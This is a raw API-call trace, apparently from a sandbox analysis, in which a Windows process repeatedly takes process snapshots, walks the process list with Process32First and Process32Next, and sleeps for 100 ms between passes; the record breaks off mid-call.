[0135.951] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0135.952] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0135.954] Process32Next (in: hSnapshot=0x1dd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0136.020] Sleep (dwMilliseconds=0x64) [0136.199] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f48 [0136.275] Process32First (in: hSnapshot=0x1f48, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.346] Sleep (dwMilliseconds=0x64) [0136.457] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f98 [0136.470] Process32First (in: hSnapshot=0x1f98, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.583] Sleep (dwMilliseconds=0x64) [0136.684] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f70 [0136.700] Process32First (in: hSnapshot=0x1f70, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.797] Sleep (dwMilliseconds=0x64) [0136.927] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f58 [0136.940] Process32First (in: hSnapshot=0x1f58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.237] Sleep (dwMilliseconds=0x64) [0137.419] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f5c [0137.436] Process32First (in: hSnapshot=0x1f5c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.610] Sleep (dwMilliseconds=0x64) [0137.713] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1030 [0137.729] Process32First (in: hSnapshot=0x1030, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.846] Sleep (dwMilliseconds=0x64) [0137.947] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x18e8 [0137.964] Process32First (in: hSnapshot=0x18e8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.167] Sleep (dwMilliseconds=0x64) [0138.268] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dfc [0138.281] Process32First (in: hSnapshot=0x1dfc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.406] Sleep (dwMilliseconds=0x64) [0138.602] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ef8 [0138.682] Process32First (in: hSnapshot=0x1ef8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.772] Sleep (dwMilliseconds=0x64) [0138.934] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f40 [0139.001] Process32First (in: hSnapshot=0x1f40, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.069] Sleep (dwMilliseconds=0x64) [0139.172] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1db8 [0139.188] Process32First (in: hSnapshot=0x1db8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.312] Sleep (dwMilliseconds=0x64) [0139.414] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f40 [0139.431] Process32First (in: hSnapshot=0x1f40, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.659] Sleep (dwMilliseconds=0x64) [0139.760] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f2c [0139.778] Process32First (in: hSnapshot=0x1f2c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.878] Sleep (dwMilliseconds=0x64) [0140.089] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19cc [0140.103] Process32First (in: hSnapshot=0x19cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.204] Sleep (dwMilliseconds=0x64) [0140.353] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f38 [0140.366] Process32First (in: hSnapshot=0x1f38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.499] Sleep (dwMilliseconds=0x64) [0140.600] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d78 [0140.619] Process32First (in: hSnapshot=0x1d78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.756] Sleep (dwMilliseconds=0x64) [0140.859] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d78 [0140.871] Process32First (in: hSnapshot=0x1d78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.939] Sleep (dwMilliseconds=0x64) [0141.114] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f20 [0141.129] Process32First (in: hSnapshot=0x1f20, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.273] Sleep (dwMilliseconds=0x64) [0141.374] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f28 [0141.402] Process32First (in: hSnapshot=0x1f28, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.474] Sleep (dwMilliseconds=0x64) [0141.581] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dc4 [0141.599] Process32First (in: hSnapshot=0x1dc4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.715] Sleep (dwMilliseconds=0x64) [0141.815] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1da8 [0141.831] Process32First (in: hSnapshot=0x1da8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.967] Sleep (dwMilliseconds=0x64) [0142.138] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dc4 [0142.151] Process32First (in: hSnapshot=0x1dc4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.253] Sleep (dwMilliseconds=0x64) [0142.360] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1db4 [0142.372] Process32First (in: hSnapshot=0x1db4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.493] Sleep (dwMilliseconds=0x64) [0142.672] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b04 [0142.751] Process32First (in: hSnapshot=0x1b04, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.851] Sleep (dwMilliseconds=0x64) [0142.975] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1db4 [0143.131] Process32First (in: hSnapshot=0x1db4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.204] Sleep (dwMilliseconds=0x64) [0143.307] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ee4 [0143.320] Process32First (in: hSnapshot=0x1ee4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.430] Sleep (dwMilliseconds=0x64) [0143.627] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1da0 [0143.641] Process32First (in: hSnapshot=0x1da0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.727] Sleep (dwMilliseconds=0x64) [0143.828] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a00 [0143.844] Process32First (in: hSnapshot=0x1a00, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.027] Sleep (dwMilliseconds=0x64) [0144.291] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ee8 [0144.308] Process32First (in: hSnapshot=0x1ee8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.390] Sleep (dwMilliseconds=0x64) [0144.699] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19ec [0144.739] Process32First (in: hSnapshot=0x19ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.856] Sleep (dwMilliseconds=0x64) [0144.957] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b14 [0145.069] Process32First (in: hSnapshot=0x1b14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.135] Sleep (dwMilliseconds=0x64) [0145.306] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d98 [0145.322] Process32First (in: hSnapshot=0x1d98, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.496] Sleep (dwMilliseconds=0x64) [0145.687] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1aec [0145.705] Process32First (in: hSnapshot=0x1aec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.842] Sleep (dwMilliseconds=0x64) [0145.943] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a14 [0145.954] Process32First (in: hSnapshot=0x1a14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.954] Sleep (dwMilliseconds=0x64) [0147.055] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b04 [0147.698] Process32First (in: hSnapshot=0x1b04, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.796] Sleep (dwMilliseconds=0x64) [0148.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1af4 [0148.242] Process32First (in: hSnapshot=0x1af4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.310] Sleep (dwMilliseconds=0x64) [0150.166] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ee0 [0150.323] Process32First (in: hSnapshot=0x1ee0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.399] Sleep (dwMilliseconds=0x64) [0150.509] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ee0 [0150.522] Process32First (in: hSnapshot=0x1ee0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.729] Sleep (dwMilliseconds=0x64) [0150.829] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ee0 [0150.841] Process32First (in: hSnapshot=0x1ee0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.943] Sleep (dwMilliseconds=0x64) [0151.044] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d94 [0151.060] Process32First (in: hSnapshot=0x1d94, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.251] Sleep (dwMilliseconds=0x64) [0151.382] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19cc [0151.397] Process32First (in: hSnapshot=0x19cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.468] Sleep (dwMilliseconds=0x64) [0151.629] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d80 [0151.735] Process32First (in: hSnapshot=0x1d80, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.850] Sleep (dwMilliseconds=0x64) [0151.951] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2068 [0152.031] Process32First (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.156] Sleep (dwMilliseconds=0x64) [0152.298] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1df8 [0152.368] Process32First (in: hSnapshot=0x1df8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.436] Sleep (dwMilliseconds=0x64) [0152.583] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f38 [0152.630] Process32First (in: hSnapshot=0x1f38, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.773] Sleep (dwMilliseconds=0x64) [0152.874] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0152.908] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.236] Sleep (dwMilliseconds=0x64) [0153.337] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d6c [0153.350] Process32First (in: hSnapshot=0x1d6c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.509] Sleep (dwMilliseconds=0x64) [0153.610] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f58 [0153.628] Process32First (in: hSnapshot=0x1f58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.732] Sleep (dwMilliseconds=0x64) [0153.832] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b1c [0153.850] Process32First (in: hSnapshot=0x1b1c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.018] Sleep (dwMilliseconds=0x64) [0154.123] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d80 [0154.138] Process32First (in: hSnapshot=0x1d80, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.241] Sleep (dwMilliseconds=0x64) [0154.516] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d7c [0154.537] Process32First (in: hSnapshot=0x1d7c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.641] Sleep (dwMilliseconds=0x64) [0154.742] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f80 [0154.763] Process32First (in: hSnapshot=0x1f80, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.842] Sleep (dwMilliseconds=0x64) [0155.013] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f80 [0155.025] Process32First (in: hSnapshot=0x1f80, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.109] Sleep (dwMilliseconds=0x64) [0155.227] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d7c [0155.243] Process32First (in: hSnapshot=0x1d7c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.369] Sleep (dwMilliseconds=0x64) [0155.470] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b50 [0155.484] Process32First (in: hSnapshot=0x1b50, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.634] Sleep (dwMilliseconds=0x64) [0155.742] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a24 [0155.755] Process32First (in: hSnapshot=0x1a24, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.820] Sleep (dwMilliseconds=0x64) [0155.992] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1de8 [0156.003] Process32First (in: hSnapshot=0x1de8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.182] Sleep (dwMilliseconds=0x64) [0156.283] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4c [0156.304] Process32First (in: hSnapshot=0x1b4c, lppe=0x100cfe20 | out: 